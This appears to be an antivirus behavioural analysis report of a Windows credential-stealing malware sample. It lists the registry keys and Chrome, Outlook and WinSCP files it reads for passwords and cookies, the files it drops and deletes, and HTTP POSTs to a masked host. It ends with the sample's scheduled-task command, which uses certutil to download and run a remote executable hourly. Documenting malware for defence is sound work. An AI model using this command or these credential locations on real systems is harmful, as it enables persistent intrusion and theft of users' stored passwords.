Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsupdate
Malicious functions
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %HOMEPATH%\desktop\dashborder_144.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
- %TEMP%\tele.dll
- %TEMP%\68c977dc\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\68c977dc\freebl3.dll
- %TEMP%\68c977dc\mozglue.dll
- %TEMP%\68c977dc\msvcp140.dll
- %TEMP%\68c977dc\nss3.dll
- %TEMP%\68c977dc\nssdbm3.dll
- %TEMP%\68c977dc\ucrtbase.dll
- %TEMP%\12551563491933515676232.tmp
- %TEMP%\68c977dc\vcruntime140.dll
- %TEMP%\12532965371522875358764.tmp
- %TEMP%\12533285031290882631146.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\12549376311734952497950.tmp
- %TEMP%\12549535645407110362369.tmp
- %TEMP%\12550318006305462439332.tmp
- %TEMP%\12550318006305462439332.tmp-shm
- %TEMP%\12551407325841276974097.tmp
- %TEMP%\12551401613373985495785.tmp
- %TEMP%\12551563556466892391883.tmp
- %TEMP%\68c977dc\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\68c977dc\softokn3.dll
- %TEMP%\68c977dc\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-localization-l1-2-0.dll
- %APPDATA%\rtr.exe
- %TEMP%\nbbb.dll
- %TEMP%\moom.exe
- %TEMP%\68c977dc\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\68c977dc\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\68c977dc\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\68c977dc\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\68c977dc\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\1255156131469138566677.tmp
Deletes the following files
- %TEMP%\nbbb.dll
- %TEMP%\12532965371522875358764.tmp
- %TEMP%\12533285031290882631146.tmp
- %TEMP%\12549376311734952497950.tmp
- %TEMP%\12549535645407110362369.tmp
- %TEMP%\12550318006305462439332.tmp-shm
- %TEMP%\12550318006305462439332.tmp
- %TEMP%\12551407325841276974097.tmp
- %TEMP%\12551401613373985495785.tmp
- %TEMP%\12551563556466892391883.tmp
- %TEMP%\12551563491933515676232.tmp
- %TEMP%\1255156131469138566677.tmp
- %APPDATA%\rtr.exe
- %TEMP%\tele.dll
Network activity
TCP
HTTP POST requests
- http://ze##k.space/index.php
UDP
- DNS ASK ze##k.space
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\tele.dll' -s -pfsdgsdfvsdzcxfsDC
- '%APPDATA%\rtr.exe'
- '%TEMP%\nbbb.dll' -s -pfsdgsdfvsdzcxfsDC
- '%TEMP%\moom.exe'
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC MINUTE /MO 59 /TR "cmd.exe /C certutil.exe -urlcache -split -f http://as###hjkl0.com/task_schedule.exe %TEMP%\task_schedule.exe && %TEMP%\task_schedule.exe" /TN WindowsUpdate /F
